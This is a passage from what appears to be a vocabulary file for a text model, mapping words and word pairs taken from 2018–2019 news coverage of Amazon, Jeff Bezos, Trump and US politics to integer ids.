79189, "referencing": 79190, "faces probe": 79191, "fresh grocery": 79192, "government goal": 79193, "state employee": 79194, "festival": 79195, "nation treaty": 79196, "va teenager": 79197, "phoned fox": 79198, "unexpected menace": 79199, "pipeline new": 79200, "new calculus": 79201, "misused eu": 79202, "repatriating firms": 79203, "centers living": 79204, "test vehicles": 79205, "sympathy despite": 79206, "specialty": 79207, "2018 near": 79208, "retiree health": 79209, "revivei5 shutdowns": 79210, "headquarters decision": 79211, "prime air": 79212, "street crippled": 79213, "lindsay koshgarian": 79214, "amazon great": 79215, "teaming": 79216, "2005 dollars": 79217, "newspaper washington": 79218, "currently relies": 79219, "bout": 79220, "president reinforced": 79221, "recognition scans": 79222, "tool amazon": 79223, "joint research": 79224, "real test": 79225, "utpol": 79226, "urging swift": 79227, "spiritually significant": 79228, "hardware products": 79229, "attacked amazon": 79230, "consider dictator": 79231, "parent american": 79232, "year oscars": 79233, "quite limited": 79234, "earned just": 79235, "consultancy serves": 79236, "simons reading": 79237, "origin maker": 79238, "nature bezos": 79239, "distorted": 79240, "wmj": 79241, "underfunded": 79242, "signed presidential": 79243, "services segment": 79244, "fox foto": 79245, "warren wrote": 79246, "gassy unicorn": 79247, "textual content": 79248, "pinned": 79249, "wealth away": 79250, "seen hashtags": 79251, "node": 79252, "forese": 79253, "enquirer trump": 79254, "purchase new": 79255, "1541 explored": 79256, "users names": 79257, "imagehash": 79258, "lenz explores": 79259, "obvious conflict": 79260, "otter": 79261, "long relationship": 79262, "svc": 79263, "opportunities especially": 79264, "cheadle tells": 79265, "companies needed": 79266, "rovers": 79267, "approximately 261": 79268, "general relaxation": 79269, "pentagon needed": 79270, "information shows": 79271, "democracy survive": 79272, "transcribed": 79273, "started warren": 79274, "home insurance": 79275, "bezos multibillion": 79276, "2017 investments": 79277, "heidi vogt": 79278, "personal payout": 79279, "frequently taken": 79280, "axis management": 79281, "street limited": 79282, "secular drivers": 79283, "lending platform": 79284, "special relationship": 79285, "different objectives": 79286, "really fast": 79287, "care products": 79288, "bharara": 79289, "economic experts": 79290, "busy thinking": 79291, "pair caption": 79292, "construction indigenous": 79293, "amberkira": 79294, "racial slurs": 79295, "virginia sent": 79296, "bird bargains": 79297, "earn living": 79298, "best job": 79299, "lopez abrader": 79300, "davie responded": 79301, "sky blue": 79302, "zain witnesses": 79303, "just building": 79304, "early 2009": 79305, "heavier carell": 79306, "david eisenbach": 79307, "headquarters pix11news": 79308, "alberta cnw": 79309, "unconventional dialect": 79310, "process arbitrary": 79311, "bezos notes": 79312, "oregon": 79313, "allows companies": 79314, "media awards": 79315, "texit customer": 79316, "new mailboxes": 79317, "extortion prosecutors": 79318, "homo": 79319, "tap photo": 79320, "investitgator": 79321, "incredibly revealing": 79322, "conversation turned": 79323, "growth value": 79324, "taxpayer dime": 79325, "coup": 79326, "college tara": 79327, "deal van": 79328, "financial numbers": 79329, "ran variety": 79330, "new edition": 79331, "restitution": 79332, "veteran affairs": 79333, "dhar partner": 79334, "getting married": 79335, "talk held": 79336, "sanders criticised": 79337, "countdown trump": 79338, "related possibility": 79339, "trump continued": 79340, "wealth": 79341, "ishness": 79342, "basic pattern": 79343, "homes": 79344, "sequel": 79345, "google eliana": 79346, "winning lottery": 79347, "income virginia": 79348, "cash policies": 79349, "buying selling": 79350, "hamstrung": 79351, "world anissa": 79352, "editor note": 79353, "wanted 5g": 79354, "nyc street": 79355, "security truth": 79356, "turned small": 79357, "acn security": 79358, "midwesterners work": 79359, "sanchez ap": 79360, "europe user": 79361, "prevention face": 79362, "include dealing": 79363, "inside amazon": 79364, "fortune estimated": 79365, "offers companies": 79366, "austin washington": 79367, "osbourne": 79368, "invasive species": 79369, "tweeted nbc": 79370, "story instead": 79371, "taking home": 79372, "bank amazon": 79373, "service profitability": 79374, "start buying": 79375, "packages drivers": 79376, "result think": 79377, "technology called": 79378, "challenged china": 79379, "ads praising": 79380, "john venhuizen": 79381, "kennedy trump": 79382, "different answers": 79383, "discuss school": 79384, "island economic": 79385, "b2b market": 79386, "deutsch joe": 79387, "botched story": 79388, "sourcephoto": 79389, "military information": 79390, "raise revenues": 79391, "audience guffaws": 79392, "speculates location": 79393, "salla": 79394, "wants big": 79395, "funder barry": 79396, "extra us3": 79397, "photos book": 79398, "refill": 79399, "conservative friends": 79400, "chapter chapter": 79401, "s5": 79402, "table send": 79403, "inherently bad": 79404, "mccabe references": 79405, "globalised reforms": 79406, "119 year": 79407, "family loophole": 79408, "remarkable blogpost": 79409, "snafu strands": 79410, "reworked": 79411, "face blue": 79412, "video potus": 79413, "ruralist": 79414, "newspaper offered": 79415, "stifle americans": 79416, "central": 79417, "majority leader": 79418, "embraced": 79419, "announcements yesterday": 79420, "paid tax": 79421, "metals": 79422, "layfield layfield": 79423, "url videos": 79424, "support positions": 79425, "da": 79426, "incredible disarray": 79427, "lt moose": 79428, "won 480": 79429, "107 consecutive": 79430, "jenner": 79431, "regulators ignored": 79432, "thanks mac": 79433, "retail wholesale": 79434, "logic problem": 79435, "international civil": 79436, "kylie mar": 79437, "amazon specifically": 79438, "sympathize": 79439, "party couriers": 79440, "brief men": 79441, "introduced similar": 79442, "mind paying": 79443, "resolved temporarily": 79444, "alleged hate": 79445, "saying leadership": 79446, "california joining": 79447, "apple watch": 79448, "virginia new": 79449, "old russian": 79450, "amazon slas": 79451, "irvin": 79452, "national focus": 79453, "seattle growing": 79454, "windy conditions": 79455, "foods forte": 79456, "cronyism having": 79457, "jackson read": 79458, "big opportunity": 79459, "trailing": 79460, "book reports": 79461, "shutdownand": 79462, "purchase decision": 79463, "stock check": 79464, "essay commentators": 79465, "essentially dead": 79466, "journal reporting": 79467, "greenspan rux": 79468, "major flops": 79469, "truth really": 79470, "lead major": 79471, "current wife": 79472, "told stone": 79473, "seeking critical": 79474, "legg mason": 79475, "efficient": 79476, "reported dubuque": 79477, "news reader": 79478, "profile twitter": 79479, "expedience": 79480, "china country": 79481, "penetrate": 79482, "bezos schmuck": 79483, "earlier tweeted": 79484, "company expanded": 79485, "079": 79486, "iterations": 79487, "migrant crisis": 79488, "dropped corporate": 79489, "censorious": 79490, "information technology": 79491, "affairs instead": 79492, "betweenalexandria ocasio": 79493, "democrat good": 79494, "including google": 79495, "firm channels": 79496, "checkout expertise": 79497, "exiled russian": 79498, "house rep": 79499, "people trump": 79500, "market phase": 79501, "say environmentalists": 79502, "terms": 79503, "getting torn": 79504, "used specialist": 79505, "heis": 79506, "1019644666608803840 don": 79507, "640 words": 79508, "walk xi": 79509, "marblehead": 79510, "tough scenes": 79511, "animal agony": 79512, "historic venue": 79513, "queen city": 79514, "questions worried": 79515, "nauseously": 79516, "won fix": 79517, "snapes grant": 79518, "round american": 79519, "trump realize": 79520, "mueller released": 79521, "proceedings away": 79522, "tweets dial": 79523, "stay moser": 79524, "tense period": 79525, "line derived": 79526, "best overall": 79527, "story beware": 79528, "near cleveland": 79529, "reporters susanne": 79530, "promised vigorous": 79531, "news hates": 79532, "simply awful": 79533, "workers told": 79534, "wing hate": 79535, "total operating": 79536, "carlson bezos": 79537, "stock outside": 79538, "companies today": 79539, "accessions follow": 79540, "department follows": 79541, "silicon valley": 79542, "defense department": 79543, "posting messages": 79544, "publishers ami": 79545, "love new": 79546, "know star": 79547, "wide spectrum": 79548, "organized labor": 79549, "2019 internet": 79550, "ubhi expressed": 79551, "tamara duker": 79552, "failings": 79553, "southerners": 79554, "15th": 79555, "add target": 79556, "headquarters headed": 79557, "destroying trees": 79558, "fuel quality": 79559, "bohemian rhapsody": 79560, "america retail": 79561, "richmond dems": 79562, "burning spree": 79563, "gardner report": 79564, "plans new": 79565, "letter addressed": 79566, "convenient reliable": 79567, "191": 79568, "don lay": 79569, "ground floor": 79570, "false videohash": 79571, "doss": 79572, "huawei executive": 79573, "duplass comedian": 79574, "risk free": 79575, "mnuchin rejection": 79576, "kennedy exit": 79577, "ground democrats": 79578, "juul marketing": 79579, "different sam": 79580, "media include": 79581, "cubs": 79582, "eltahir examine": 79583, "prestigious awards": 79584, "warehouses fulfillment": 79585, "looking hikers": 79586, "admissions ceiling": 79587, "circumvented": 79588, "amazon box": 79589, "wanted signs": 79590, "zinke days": 79591, "microsoft things": 79592, "rhodes": 79593, "coby trump": 79594, "story stephanopoulos": 79595, "good people": 79596, "sent numerous": 79597, "strands": 79598, "unz review": 79599, "week killing": 79600, "reveals kim": 79601, "profitability story": 79602, "higher margin": 79603, "incredible want": 79604, "senior official": 79605, "qanon followers": 79606, "development climate": 79607, "lauren haynes": 79608, "tight spaces": 79609, "economicrent": 79610, "gmos adams": 79611, "obligations committed": 79612, "vpc": 79613, "evils data": 79614, "order online": 79615, "brandemonium": 79616, "manhattan business": 79617, "major volleys": 79618, "lilly singh": 79619, "does getting": 79620, "fashioned envy": 79621, "sign new": 79622, "article infowars": 79623, "amid lingering": 79624, "president protectionist": 79625, "accused ami": 79626, "wannabe dictator": 79627, "maintains outperform": 79628, "ms dos": 79629, "books fact": 79630, "amazon breinigsville": 79631, "officials debated": 79632, "dollars plutocrats": 79633, "funder": 79634, "rye barcott": 79635, "campaign ahead": 79636, "face public": 79637, "incumbent": 79638, "exposs trump": 79639, "putting camera": 79640, "rate versus": 79641, "village visitors": 79642, "growth rates": 79643, "papers amazon": 79644, "second book": 79645, "scythes": 79646, "insider josh": 79647, "intently focused": 79648, "headline says": 79649, "omens": 79650, "covers wide": 79651, "331": 79652, "economy mike": 79653, "work surface": 79654, "eab": 79655, "require far": 79656, "cumbersome environmental": 79657, "exploitation meeting": 79658, "beacon": 79659, "firsts": 79660, "realized": 79661, "national banks": 79662, "anchor alexa": 79663, "adsbygoogle window": 79664, "new los": 79665, "adds bezos": 79666, "conventional understanding": 79667, "recorded people": 79668, "doused": 79669, "whoopi accept": 79670, "future according": 79671, "book tour": 79672, "solving problem": 79673, "previously cook": 79674, "streaming service": 79675, "nomiki konst": 79676, "mandating increased": 79677, "souza copies": 79678, "bezos acquired": 79679, "dan delong": 79680, "launched rocket": 79681, "outplayed bydemocrats": 79682, "amobi joins": 79683, "allow indigenous": 79684, "supported tablet": 79685, "overwhelmingly optimistic": 79686, "email era": 79687, "especially considering": 79688, "future robert": 79689, "john dean": 79690, "youtube cartoon": 79691, "low subsidised": 79692, "fantasyland": 79693, "project wing": 79694, "technology obviously": 79695, "finally catch": 79696, "2000 levels": 79697, "bit amazon": 79698, "potter eat": 79699, "haugen": 79700, "smell trump": 79701, "called google": 79702, "new brands": 79703, "president acted": 79704, "department sued": 79705, "closed circle": 79706, "turning blind": 79707, "kosovo": 79708, "trumps legal": 79709, "intrinsic": 79710, "government citizen": 79711, "packages brennan": 79712, "global human": 79713, "feedname topnews": 79714, "kearney": 79715, "waves": 79716, "unfurl": 79717, "panther trailed": 79718, "prime preacher": 79719, "prepaid debit": 79720, "ygdjhk evys1bk0": 79721, "news president": 79722, "obama presidential": 79723, "don apply": 79724, "map contact": 79725, "bezos couldn": 79726, "fed governor": 79727, "trooper": 79728, "chicken salad": 79729, "america pastime": 79730, "big trump": 79731, "investment mayor": 79732, "comparing bezos": 79733, "i9e submit": 79734, "signals california": 79735, "oracle protest": 79736, "news emerged": 79737, "employers guess": 79738, "chinese trademark": 79739, "tur amazon": 79740, "platforms cbc": 79741, "travel 100": 79742, "public input": 79743, "enthral": 79744, "called richardson": 79745, "chavez": 79746, "county commissioner": 79747, "promises valerie": 79748, "hanbury president": 79749, "involving donald": 79750, "pennink ap": 79751, "181007060449 snl": 79752, "subtraction problem": 79753, "archer": 79754, "premium analysis": 79755, "israeli soldiers": 79756, "cash instead": 79757, "dillon new": 79758, "germany saying": 79759, "gregory katz": 79760, "condensed consolidated": 79761, "mindi": 79762, "uk food": 79763, "pauly 580": 79764, "privacy policies": 79765, "brexit talks": 79766, "worth staggering": 79767, "crushes": 79768, "400 books": 79769, "virginia photo": 79770, "homeless students": 79771, "excels": 79772, "jobs according": 79773, "historical association": 79774, "weaponizing thewashington": 79775, "commonwealth commits": 79776, "displaced": 79777, "don talk": 79778, "picture saying": 79779, "proclaimed trump": 79780, "makes glass": 79781, "female character": 79782, "articles facebook": 79783, "author lindsay": 79784, "multi": 79785, "properly monitor": 79786, "linux kernel": 79787, "amazon ruthless": 79788, "busy stores": 79789, "interpreter": 79790, "famously\u0430receiving": 79791, "kudos": 79792, "ally president": 79793, "grilled": 79794, "tough problems": 79795, "week blood": 79796, "icbm": 79797, "stocks reits": 79798, "sister organizations": 79799, "year anniversary": 79800, "growth shipping": 79801, "horowitz": 79802, "longer": 79803, "saving deutsche": 79804, "educated rich": 79805, "dumped contessa": 79806, "scientists worry": 79807, "malcolm film": 79808, "filing represented": 79809, "content prime": 79810, "ceo mark": 79811, "s9x a4ee": 79812, "conrad riggs": 79813, "tweet hope": 79814, "actual trading": 79815, "hayek plays": 79816, "high castle": 79817, "set according": 79818, "uk economy": 79819, "stock amobi": 79820, "screamed": 79821, "president boris": 79822, "reportedly ran": 79823, "edvard": 79824, "reelect": 79825, "told msnbc": 79826, "holding corporate": 79827, "separating just": 79828, "bailed": 79829, "short stylized": 79830, "curbing": 79831, "nbc affiliates": 79832, "kareem bakr": 79833, "bezos couple": 79834, "rare requirement": 79835, "udine member": 79836, "game trophies": 79837, "oscar nomination": 79838, "administration impose": 79839, "social crack": 79840, "union says": 79841, "mines billions": 79842, "involved overall": 79843, "business journalism": 79844, "potential revenue": 79845, "cadence": 79846, "overall quality": 79847, "dalton": 79848, "lurid photos": 79849, "permanent mary": 79850, "spend lot": 79851, "instances": 79852, "selfie queen": 79853, "snared dj": 79854, "ice deportations": 79855, "policies following": 79856, "playmate story": 79857, "sandeep": 79858, "chair president": 79859, "roommate": 79860, "function getcurrentvideocardcontents": 79861, "bull moose": 79862, "leaned": 79863, "places voices": 79864, "shows bellow": 79865, "index cap": 79866, "lisa hench": 79867, "crafts marketplace": 79868, "sour true": 79869, "political aisle": 79870, "account trump": 79871, "lines chevron": 79872, "reads looking": 79873, "bolsonaro mines": 79874, "million debt": 79875, "problem flex": 79876, "discourage": 79877, "kleach6": 79878, "possible key": 79879, "dokoupil finds": 79880, "salman don": 79881, "champions talk": 79882, "historically leaned": 79883, "bartiromo welcome": 79884, "protest seattle": 79885, "given false": 79886, "thegrtrecession": 79887, "recently defeated": 79888, "mitigated broadly": 79889, "digs deep": 79890, "news oppo": 79891, "justices": 79892, "korean woman": 79893, "significant lack": 79894, "new amazon": 79895, "brighter": 79896, "scene leads": 79897, "streetwear": 79898, "old slippers": 79899, "public amazon": 79900, "vine extensively": 79901, "republicans appear": 79902, "big topic": 79903, "calls project": 79904, "congressman assaulting": 79905, "sen writes": 79906, "inhales": 79907, "billionaire instead": 79908, "sbirt": 79909, "dara lind": 79910, "undercutting crop": 79911, "jibe": 79912, "time enemy": 79913, "legislation sanders": 79914, "package services": 79915, "mousa bin": 79916, "gervaiss humanity": 79917, "shipping offer": 79918, "trumps revolting": 79919, "town names": 79920, "iot track": 79921, "house gov": 79922, "preferential tax": 79923, "expanded ap": 79924, "significant advantage": 79925, "years amazon": 79926, "thehollywoodgossip": 79927, "things department": 79928, "quay": 79929, "1868 seeks": 79930, "dwyer": 79931, "holders": 79932, "home earlier": 79933, "stelter shared": 79934, "confluence": 79935, "supports military": 79936, "thisand": 79937, "nimble": 79938, "straight losing": 79939, "mcdonald kids": 79940, "billionaire philanthropist": 79941, "2015 floods": 79942, "investorplace luke": 79943, "manipulate prices": 79944, "publishing racy": 79945, "shooters sure": 79946, "usher": 79947, "star peggy": 79948, "secretary reportedly": 79949, "pardoned vanity": 79950, "devotion": 79951, "twitter especially": 79952, "866": 79953, "berman florida": 79954, "yardbird": 79955, "new glenn": 79956, "finite state": 79957, "touring": 79958, "single payer": 79959, "centrist president": 79960, "emily birnbaum": 79961, "ins": 79962, "administration looks": 79963, "better approach": 79964, "appears unconvinced": 79965, "competition armed": 79966, "reputation thiel": 79967, "gauteng": 79968, "today sara": 79969, "specifically ami": 79970, "finger squarely": 79971, "counts kim": 79972, "pass 2018": 79973, "blocks la": 79974, "time reports": 79975, "year itep": 79976, "moscow yesterday": 79977, "wedding ring": 79978, "improvement": 79979, "digitizing": 79980, "people reality": 79981, "entrepreneur aims": 79982, "involving amazon": 79983, "huge return": 79984, "baron journalism": 79985, "international expertise": 79986, "primary elections": 79987, "owner filed": 79988, "l1313 tr1": 79989, "hathaway ceo": 79990, "caffeine": 79991, "renaissance": 79992, "carries mix": 79993, "box reads": 79994, "commodities production": 79995, "pham": 79996, "rates gapping": 79997, "chance amazon": 79998, "sizable": 79999, "super pac": 80000, "prakash smitaprakash": 80001, "won 740m": 80002, "salvini": 80003, "outsize personality": 80004, "proposal president": 80005, "concerns eventually": 80006, "\u0142500": 80007, "second variant": 80008, "heuvelen": 80009, "kullgren obtained": 80010, "distributors especially": 80011, "tcja amazon": 80012, "measurements": 80013, "friend wedding": 80014, "creates gop": 80015, "crave": 80016, "way manufacturing": 80017, "did explain": 80018, "wasn pleasant": 80019, "man mukesh": 80020, "origin approaches": 80021, "melissa burdick": 80022, "reckless competitive": 80023, "consumer abuses": 80024, "ashleyrgold": 80025, "share tweet": 80026, "comics riverdale": 80027, "cnbc tyler": 80028, "agency best": 80029, "established democrats": 80030, "lightning cable": 80031, "fukunaga": 80032, "griffeth coming": 80033, "hardworking drivers": 80034, "founder sergey": 80035, "ami denied": 80036, "project having": 80037, "quarterly": 80038, "paying billion": 80039, "criticising": 80040, "new nonfiction": 80041, "amazonwashingtonpost read": 80042, "smartphone online": 80043, "snuck": 80044, "madrid spain": 80045, "nadia shouraboura": 80046, "power cable": 80047, "undertake view": 80048, "oligarchic cronies": 80049, "sellers appeared": 80050, "alexi": 80051, "clarify realme": 80052, "jessicabruder": 80053, "users tend": 80054, "son don": 80055, "reportedly ruled": 80056, "grow revenue": 80057, "live amazon": 80058, "available facial": 80059, "step away": 80060, "honesty strout": 80061, "blackmail threats": 80062, "food plan": 80063, "wasn huge": 80064, "eyes": 80065, "ford trump": 80066, "communism": 80067, "phil": 80068, "mass media": 80069, "isliveplayer isvideoreplayclicked": 80070, "self contradictions": 80071, "world currently": 80072, "company foxconn": 80073, "fletcher jokes": 80074, "trade putting": 80075, "ami struck": 80076, "blue": 80077, "mcconnell unparalleled": 80078, "group today": 80079, "comedy series": 80080, "sale paul": 80081, "breitbart": 80082, "function g4": 80083, "spotless": 80084, "believe deserve": 80085, "unconvincingly insisted": 80086, "million suit": 80087, "began dipping": 80088, "prime devilman": 80089, "privacy questions": 80090, "disney world": 80091, "sr cleveland": 80092, "toyota aston": 80093, "called food": 80094, "story determined": 80095, "election process": 80096, "hours": 80097, "simply prepared": 80098, "chip maker": 80099, "known loophole": 80100, "labor netted": 80101, "website crashed": 80102, "amazon majority": 80103, "development team": 80104, "traditional documentation": 80105, "tripadvisor": 80106, "strong consumption": 80107, "ntia internet": 80108, "exclusively going": 80109, "store seen": 80110, "joy ramirez": 80111, "foreignaffairs": 80112, "included unorthodox": 80113, "chain safety": 80114, "benefits worse": 80115, "severely restricted": 80116, "unfettered way": 80117, "conceding": 80118, "die trump": 80119, "winter night": 80120, "usps offers": 80121, "taxpayers biggest": 80122, "president david": 80123, "owens": 80124, "freshmen democrats": 80125, "flaw thorough": 80126, "racist language": 80127, "amazon evidently": 80128, "news witch": 80129, "card amazon": 80130, "npr suggesting": 80131, "young people": 80132, "start minimum": 80133, "poverty terrorism": 80134, "story medium": 80135, "weaknesses": 80136, "colleen hayes": 80137, "chicago worked": 80138, "quinnipiac university": 80139, "underscores deeper": 80140, "quickly make": 80141, "poor relations": 80142, "center mall": 80143, "convenient cudgel": 80144, "crash tests": 80145, "registered republican": 80146, "results don": 80147, "services affiliate": 80148, "null internationalversion": 80149, "ireland limited": 80150, "offline retail": 80151, "major political": 80152, "pentagon amazon": 80153, "flooded house": 80154, "cards 2018": 80155, "past stances": 80156, "properties trump": 80157, "amazon prefers": 80158, "tweet rage": 80159, "immigration limits": 80160, "carey man": 80161, "clothes shoes": 80162, "verizon monopoly": 80163, "companies prefer": 80164, "zte panel": 80165, "period piece": 80166, "inspirational email": 80167, "richard trumka": 80168, "deutsch usa": 80169, "newspaper loses": 80170, "president spun": 80171, "evidence drove": 80172, "additional element": 80173, "telegraph file": 80174, "developed ideas": 80175, "exelon scott": 80176, "build long": 80177, "cohen met": 80178, "dietsch": 80179, "china look": 80180, "nearby highway": 80181, "recovery efforts": 80182, "business wrote": 80183, "follows microsoft": 80184, "cuba iran": 80185, "rundown jim": 80186, "nerve inside": 80187, "previously set": 80188, "acquired shipt": 80189, "treatment new": 80190, "strongly rejected": 80191, "hisilli": 80192, "good discussion": 80193, "posters praised": 80194, "rate wants": 80195, "operate internationally": 80196, "philosophically": 80197, "outside nuclear": 80198, "rows": 80199, "mortar business": 80200, "national immigration": 80201, "investments sorted": 80202, "energy minister": 80203, "limited options": 80204, "pluck": 80205, "imagealt rose": 80206, "historian presents": 80207, "ibama personnel": 80208, "perry": 80209, "usmidterms usatoda": 80210, "jamie dimon": 80211, "stiglitz": 80212, "fang fagna": 80213, "society simultaneously": 80214, "lives lifestyles": 80215, "dramatically expanded": 80216, "universal guaranteed": 80217, "peers": 80218, "division left": 80219, "rattling foreign": 80220, "terminal": 80221, "amazon frankly": 80222, "young boys": 80223, "horscic": 80224, "operation beorma": 80225, "micromax lava": 80226, "firm value": 80227, "london terror": 80228, "extortion amazon": 80229, "slap childish": 80230, "induced famine": 80231, "just invites": 80232, "political toys": 80233, "donation details": 80234, "waiver": 80235, "index set": 80236, "offered payment": 80237, "week countdown": 80238, "nonnegotiable usps": 80239, "perceive": 80240, "contract decision": 80241, "city spencer": 80242, "enquirer situation": 80243, "healthcare company": 80244, "fencing turned": 80245, "attracted criticism": 80246, "advantageous": 80247, "content public": 80248, "replacing devin": 80249, "durbin warn": 80250, "awards maybe": 80251, "ulrich goodfellas": 80252, "jangling": 80253, "yelling": 80254, "jaar vast": 80255, "iphones imported": 80256, "tb i9": 80257, "outpaced": 80258, "plainly false": 80259, "investors believe": 80260, "babcock": 80261, "hating trump": 80262, "dunkirk": 80263, "hourly earnings": 80264, "scarce writes": 80265, "deliver mail": 80266, "tags drones": 80267, "uber public": 80268, "esch member": 80269, "political intrigue": 80270, "allies begin": 80271, "widnes": 80272, "leaked word": 80273, "trump trump": 80274, "international escapades": 80275, "fr independent": 80276, "buy counterfeit": 80277, "financial crisis": 80278, "storm engulfs": 80279, "unlikely hero": 80280, "cap limited": 80281, "did ny1politics": 80282, "getting vilified": 80283, "commission recently": 80284, "including wallstreetjournal": 80285, "today mayor": 80286, "electric utilities": 80287, "trump aims": 80288, "smoke signals": 80289, "body slam": 80290, "york needs": 80291, "carolina town": 80292, "populated gentrifying": 80293, "oates song": 80294, "laptops": 80295, "post shutdown": 80296, "derived ingredients": 80297, "ef": 80298, "moth": 80299, "administration stepped": 80300, "raise awareness": 80301, "fact cover": 80302, "point deutsch": 80303, "revive": 80304, "prison reform": 80305, "lacking social": 80306, "editor nicholas": 80307, "allegedly subjected": 80308, "common pension": 80309, "overhead rep": 80310, "eve hush": 80311, "earlier spending": 80312, "m4 z4": 80313, "potential miscalculation": 80314, "escalate economic": 80315, "fit hiking": 80316, "borrower": 80317, "microsoft market": 80318, "969": 80319, "laws thinks": 80320, "shares 055": 80321, "factors emphasis": 80322, "abramson book": 80323, "ianniello says": 80324, "bezos text": 80325, "delivered approximately": 80326, "trump obsessive": 80327, "government agencies": 80328, "overstatements hyped": 80329, "acquired private": 80330, "kylie jenner": 80331, "441": 80332, "week commenting": 80333, "tell": 80334, "lee kelly": 80335, "virtues speculating": 80336, "taxes according": 80337, "counterweight": 80338, "european nations": 80339, "collection storage": 80340, "member following": 80341, "bailouts protections": 80342, "agency does": 80343, "indonesia professor": 80344, "person spends": 80345, "democrats notably": 80346, "business financially": 80347, "revenue kroger": 80348, "editor remind": 80349, "emanations worth": 80350, "beds inside": 80351, "wasn supplier": 80352, "2018 kicks": 80353, "payments amazon": 80354, "coordinated scale": 80355, "pressing": 80356, "numerous enterprise": 80357, "does lose": 80358, "warning sign": 80359, "treasonous cnn": 80360, "fight ring": 80361, "pressuring countries": 80362, "foxconn annual": 80363, "ordering amazon": 80364, "environment news": 80365, "request": 80366, "estate data": 80367, "sure harry": 80368, "public dissemination": 80369, "sen duckworth": 80370, "challenge map": 80371, "determined campaign": 80372, "frozen burrito": 80373, "founding member": 80374, "east alongside": 80375, "arpu reduce": 80376, "state dept": 80377, "short speech": 80378, "messenger ceo": 80379, "bluetooth": 80380, "caravans mean": 80381, "tags": 80382, "extreme events": 80383, "completion amazon": 80384, "allowing companies": 80385, "assault testimony": 80386, "ruling allowing": 80387, "souring": 80388, "groundwater testing": 80389, "driving ruthless": 80390, "strangest reasons": 80391, "immediate control": 80392, "100 cities": 80393, "jeffs": 80394, "yes fiction": 80395, "maria federal": 80396, "political twitter": 80397, "called god": 80398, "impassioned race": 80399, "robot": 80400, "hockey league": 80401, "toronto feel": 80402, "stealth access": 80403, "flags read": 80404, "states charlie": 80405, "dear friend": 80406, "welfare package": 80407, "meaningless": 80408, "obama white": 80409, "apga": 80410, "newsletter promo": 80411, "amazon effort": 80412, "periodic swoons": 80413, "malbin executive": 80414, "comments john": 80415, "avalara": 80416, "additional mandates": 80417, "biggest year": 80418, "bluefly": 80419, "director michel": 80420, "governance question": 80421, "attacks coincide": 80422, "2020 writes": 80423, "shade sun": 80424, "money needed": 80425, "manager replied": 80426, "paid just": 80427, "r4ee l6": 80428, "huge delivery": 80429, "legislation 5151": 80430, "inanimate objects": 80431, "anybody does": 80432, "standardizing": 80433, "lengthy national": 80434, "preaches": 80435, "favorably ocasio": 80436, "ubereats": 80437, "news starr": 80438, "overly broad": 80439, "steel slats": 80440, "standards tribunal": 80441, "bezos penchant": 80442, "weekend late": 80443, "did lead": 80444, "katrina": 80445, "writer says": 80446, "reports president": 80447, "company record": 80448, "remind": 80449, "win carnival": 80450, "blocked zuker": 80451, "individual company": 80452, "syckle helped": 80453, "happy year": 80454, "run harm": 80455, "bowl lii": 80456, "separate issue": 80457, "2013 jim": 80458, "smoky cloudy": 80459, "tilt": 80460, "photographer": 80461, "reuters billionaire": 80462, "weather emergencies": 80463, "expect annual": 80464, "antitrust investigation": 80465, "marriage earlier": 80466, "unnamed individual": 80467, "explore fictional": 80468, "disastrous market": 80469, "virginia taxpayers": 80470, "little": 80471, "trap": 80472, "geospatial engineering": 80473, "ninja level": 80474, "earthquake": 80475, "market dominated": 80476, "universe": 80477, "bulls say": 80478, "frantic": 80479, "600bn": 80480, "aaron rakers": 80481, "pecker agreed": 80482, "problem merchants": 80483, "newspaper lobbyist": 80484, "lane working": 80485, "affiliates hold": 80486, "hands trump": 80487, "discontent": 80488, "standing beef": 80489, "carlos menchaca": 80490, "james malinchak": 80491, "support ted": 80492, "workshare": 80493, "181002134913": 80494, "city rep": 80495, "murals home": 80496, "allow companies": 80497, "cnn new": 80498, "michigan state": 80499, "angeles phillips": 80500, "classic american": 80501, "a4 a4ee": 80502, "environment minister": 80503, "wages going": 80504, "average rate": 80505, "sending small": 80506, "american tabloid": 80507, "progressive caucus": 80508, "payments vestager": 80509, "increasing competition": 80510, "receive percentage": 80511, "korede quickly": 80512, "cuban janice": 80513, "revamping": 80514, "customers taking": 80515, "ben spielberg": 80516, "trump enemy": 80517, "solutions warehouse": 80518, "company reported": 80519, "companies relationship": 80520, "pressures amazon": 80521, "stelac": 80522, "manslaughter": 80523, "world mobile": 80524, "rewarded handsomely": 80525, "mlp today": 80526, "candidate won": 80527, "relevant right": 80528, "plays games": 80529, "tax service": 80530, "turning equities": 80531, "home kelly": 80532, "absentee ballots": 80533, "roadmap": 80534, "alan graf": 80535, "realdonaldtrump jeffbezos": 80536, "case prosecutors": 80537, "hefty taxpayer": 80538, "welles supporters": 80539, "lansinger": 80540, "getting tougher": 80541, "throwing good": 80542, "way trump": 80543, "don long": 80544, "submarine": 80545, "charged specifically": 80546, "decade including": 80547, "database imdb": 80548, "double digit": 80549, "spent million": 80550, "secretary jacob": 80551, "fearless kathryn": 80552, "operates 353": 80553, "culture post": 80554, "nullify trump": 80555, "chef samin": 80556, "significant especially": 80557, "maximize profits": 80558, "service produced": 80559, "potential targets": 80560, "style texting": 80561, "john roberts": 80562, "corporate hugging": 80563, "otherwords columnist": 80564, "work sent": 80565, "tech shares": 80566, "director seattle": 80567, "reconsiders coming": 80568, "170 000": 80569, "campus areas": 80570, "sent 140": 80571, "pain working": 80572, "jovem": 80573, "sen tammy": 80574, "lawsuit saying": 80575, "haralampus": 80576, "editorial content": 80577, "diluted": 80578, "target acquired": 80579, "yield higher": 80580, "program caller": 80581, "hysterical headlines": 80582, "harm users": 80583, "gaap measures": 80584, "aisle senate": 80585, "permanent sore": 80586, "fed current": 80587, "certification": 80588, "iconic going": 80589, "ewiw6dkhz8": 80590, "360 showurl": 80591, "policies inside": 80592, "zalishchuk": 80593, "surprise arlington": 80594, "set records": 80595, "believe new": 80596, "amazon voting": 80597, "reportedly set": 80598, "nonfiction lists": 80599, "parents flexibility": 80600, "host decides": 80601, "bb mb": 80602, "threat crispr": 80603, "feud really": 80604, "county sheriff": 80605, "2018 couchbase": 80606, "2018 jim": 80607, "federal offense": 80608, "direct subsidies": 80609, "far cell": 80610, "words written": 80611, "guns turned": 80612, "latest quarterly": 80613, "shrugged": 80614, "social policy": 80615, "cutting output": 80616, "rising rap": 80617, "acquired smart": 80618, "sen patty": 80619, "raw demonstration": 80620, "bc": 80621, "canadian natural": 80622, "precies waarom": 80623, "despite roller": 80624, "life greater": 80625, "current world": 80626, "complained directly": 80627, "worst conflict": 80628, "zoske82zc5": 80629, "watchdogs google": 80630, "advertising campaign": 80631, "miliband 